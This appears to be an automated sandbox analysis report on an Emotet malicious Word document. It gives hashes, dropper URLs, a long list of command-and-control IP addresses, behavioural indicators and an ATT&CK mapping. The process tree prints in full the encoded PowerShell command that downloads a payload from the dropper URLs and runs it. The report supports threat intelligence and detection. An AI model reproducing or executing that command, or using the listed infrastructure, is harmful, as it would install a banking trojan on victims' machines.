emotet | d9ec3aaa17e1b362b37e33aeb581c383ea87ff8a63e0a1a9f761e23ee2bb3380

General

Target
emotet_e2_d9ec3aaa17e1b362b37e33aeb581c383ea87ff8a63e0a1a9f761e23ee2bb3380_2020-08-13__081543._doc.doc
Size 227KB
Sample200813-fsjl652nsa
SHA256 d9ec3aaa17e1b362b37e33aeb581c383ea87ff8a63e0a1a9f761e23ee2bb3380
MD5 d2ed6e970ed66c3cfe7241d3bf2d4318
SHA1 d6bc4da003f1f56a7ef4f3656694fd8eabcce408
SHA512 a4029dcfece49f3b70c792704d82ca0acc7e35ec89362ebaebdefcbe73f5661e22011c4f26ba780875dcd9b8c8a29729466d977bffc2ee71f8ac9eeedc9ff013
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://katebayless.com/lc5_146_ekvvs/
exe.dropper
http://maxsoft.cz/ajnt_e7v_uyoi/
exe.dropper
http://juniorsplayground.net/q_9q9g8_wf/
exe.dropper
http://muliarental.com/65l_1po_7v7k0864m/
exe.dropper
http://morlo.net/cgi-bin/4kg_v47_gs79hfwr5u/

Extracted

Family

emotet

C2

174.102.48.180:80
192.210.135.126:8080
67.205.85.243:8080
47.146.32.175:80
116.203.32.252:8080
189.212.199.126:443
72.12.127.184:443
180.92.239.110:8080
103.86.49.11:8080
181.230.116.163:80
157.147.76.151:80
74.120.55.163:80
121.124.124.40:7080
79.98.24.39:8080
142.105.151.124:443
167.86.90.214:8080
24.179.13.119:80
62.138.26.28:8080
165.165.171.160:8080
74.208.45.104:8080
2.58.16.85:7080
91.211.88.52:7080
183.101.175.193:80
95.179.229.244:8080
107.185.211.16:80
157.245.99.39:8080
83.169.36.251:8080
104.236.246.93:8080
110.145.77.103:80
190.160.53.126:80
190.55.181.54:443
87.106.136.232:8080
76.27.179.47:80
104.131.11.150:443
168.235.67.138:7080
153.126.210.205:7080
47.153.182.47:80
87.106.139.101:8080
209.182.216.177:443
51.75.33.120:8080
85.152.162.105:80
169.239.182.217:8080
46.105.131.79:8080
209.143.35.232:80
152.168.248.128:443
201.173.217.124:443
204.197.146.48:80
199.101.86.142:8080
114.146.222.200:80
113.160.130.116:8443
70.167.215.250:8080
176.111.60.55:8080
47.146.117.214:80
47.144.21.12:443
200.41.121.90:80
137.59.187.107:8080
93.51.50.171:8080
139.130.242.43:80
85.105.205.77:8080
109.74.5.95:8080
37.139.21.175:8080
62.75.141.82:80
5.39.91.110:7080
222.214.218.37:4143
185.94.252.104:443
24.137.76.62:80
203.153.216.189:7080
24.43.99.75:80
41.60.200.34:80
78.24.219.147:8080
61.19.246.238:443
104.131.44.150:8080
119.198.40.179:80
37.187.72.193:8080
139.59.60.244:8080
5.196.74.210:8080
181.211.11.242:80
209.141.54.221:8080
173.62.217.22:443
83.110.223.58:443
81.2.235.111:8080
95.213.236.64:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3728	3752	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1056-14-0x0000000003F70000-0x0000000003F7C000-memory.dmp	emotet
behavioral2/memory/1056-14-0x0000000003F70000-0x0000000003F7C000-memory.dmp	emotet
behavioral2/memory/1404-17-0x0000000002210000-0x000000000221C000-memory.dmp	emotet
behavioral2/memory/1404-17-0x0000000002210000-0x000000000221C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	3728	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1056	82.exe
1404	pautoenr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\srclient\pautoenr.exe	82.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3588	WINWORD.EXE
3588	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3728	powersheLL.exe
3728	powersheLL.exe
3728	powersheLL.exe
1404	pautoenr.exe
1404	pautoenr.exe
1404	pautoenr.exe
1404	pautoenr.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
3588	WINWORD.EXE
1056	82.exe
1056	82.exe
1404	pautoenr.exe
1404	pautoenr.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3728 wrote to memory of 1056	3728	powersheLL.exe	74
PID 3728 wrote to memory of 1056	3728	powersheLL.exe	74
PID 3728 wrote to memory of 1056	3728	powersheLL.exe	74
PID 1056 wrote to memory of 1404	1056	82.exe	75
PID 1056 wrote to memory of 1404	1056	82.exe	75
PID 1056 wrote to memory of 1404	1056	82.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d9ec3aaa17e1b362b37e33aeb581c383ea87ff8a63e0a1a9f761e23ee2bb3380_2020-08-13__081543._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3588

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAEMAUwBXAE0AaAB0AHgAPQAnAFEATwBQAEUAVQByAHIAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAGAAVQBSAEkAdABZAGAAUAByAG8AdABvAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUABQAFMAQQBPAGkAdwByACAAPQAgACcAOAAyACcAOwAkAEQARwBLAEQARwByAHIAZQA9ACcAVABZAEEAWgBDAHkAdgBlACcAOwAkAEMARwBJAEkARQBzAHIAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABQAFMAQQBPAGkAdwByACsAJwAuAGUAeABlACcAOwAkAEYAVABBAE8ARwBvAGEAaAA9ACcATABWAEEASgBBAGcAawBuACcAOwAkAEsASgBTAEMAWQB5AHEAaQA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAQgBjAEwAaQBlAE4AdAA7ACQATQBLAEQAVgBDAHYAaAB1AD0AJwBoAHQAdABwADoALwAvAGsAYQB0AGUAYgBhAHkAbABlAHMAcwAuAGMAbwBtAC8AbABjADUAXwAxADQANgBfAGUAawB2AHYAcwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABzAG8AZgB0AC4AYwB6AC8AYQBqAG4AdABfAGUANwB2AF8AdQB5AG8AaQAvACoAaAB0AHQAcAA6AC8ALwBqAHUAbgBpAG8AcgBzAHAAbABhAHkAZwByAG8AdQBuAGQALgBuAGUAdAAvAHEAXwA5AHEAOQBnADgAXwB3AGYALwAqAGgAdAB0AHAAOgAvAC8AbQB1AGwAaQBhAHIAZQBuAHQAYQBsAC4AYwBvAG0ALwA2ADUAbABfADEAcABvAF8ANwB2ADcAawAwADgANgA0AG0ALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHIAbABvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8ANABrAGcAXwB2ADQANwBfAGcAcwA3ADkAaABmAHcAcgA1AHUALwAnAC4AIgBTAHAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAWQBMAEYAVQBjAHUAZAA9ACcAUQBQAE4ARwBZAG4AYwBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAE4ASQBWAFQAbwBpAGcAIABpAG4AIAAkAE0ASwBEAFYAQwB2AGgAdQApAHsAdAByAHkAewAkAEsASgBTAEMAWQB5AHEAaQAuACIAZABPAFcATgBgAEwAbwBBAGQARgBJAGAATABFACIAKAAkAFUATgBJAFYAVABvAGkAZwAsACAAJABDAEcASQBJAEUAcwByAHYAKQA7ACQATABPAEEAVwBEAHkAYwBnAD0AJwBaAEsAWQBVAE8AbwBvAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAEcASQBJAEUAcwByAHYAKQAuACIAbABFAGAATgBgAGcAVABIACIAIAAtAGcAZQAgADIANAA2ADkAMwApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABDAEcASQBJAEUAcwByAHYAKQA7ACQAQQBZAFkAVQBEAGoAawBzAD0AJwBGAFcATgBHAFIAeQB6AHkAJwA7AGIAcgBlAGEAawA7ACQARwBWAE0AQwBPAHQAdQBzAD0AJwBWAEEAWQBSAEcAaAB6AGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBVAFcATQBTAGcAYgBiAD0AJwBMAEQARwBXAFAAcQBlAG0AJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Users\Admin\82.exe
  "C:\Users\Admin\82.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\SysWOW64\srclient\pautoenr.exe
    "C:\Windows\SysWOW64\srclient\pautoenr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1056-14-0x0000000003F70000-0x0000000003F7C000-memory.dmp

Download

memory/1404-17-0x0000000002210000-0x000000000221C000-memory.dmp

Download

memory/3588-4-0x000001D66F2A8000-0x000001D66F2B9000-memory.dmp

Download

memory/3588-7-0x000001D671640000-0x000001D671661000-memory.dmp

Download

memory/3588-6-0x000001D671640000-0x000001D671661000-memory.dmp

Download

memory/3588-5-0x000001D671640000-0x000001D671661000-memory.dmp

Download

memory/3588-0-0x00007FFD35C90000-0x00007FFD36356000-memory.dmp

Download

memory/3588-3-0x000001D6714A6000-0x000001D6714B7000-memory.dmp

Download

memory/3588-2-0x000001D6714A6000-0x000001D6714B7000-memory.dmp

Download

memory/3588-1-0x000001D6714A6000-0x000001D6714B7000-memory.dmp

Download

memory/3728-8-0x00007FFD27ED0000-0x00007FFD288BC000-memory.dmp

Download

memory/3728-9-0x0000028626470000-0x0000028626471000-memory.dmp

Download

memory/3728-10-0x000002863E780000-0x000002863E781000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads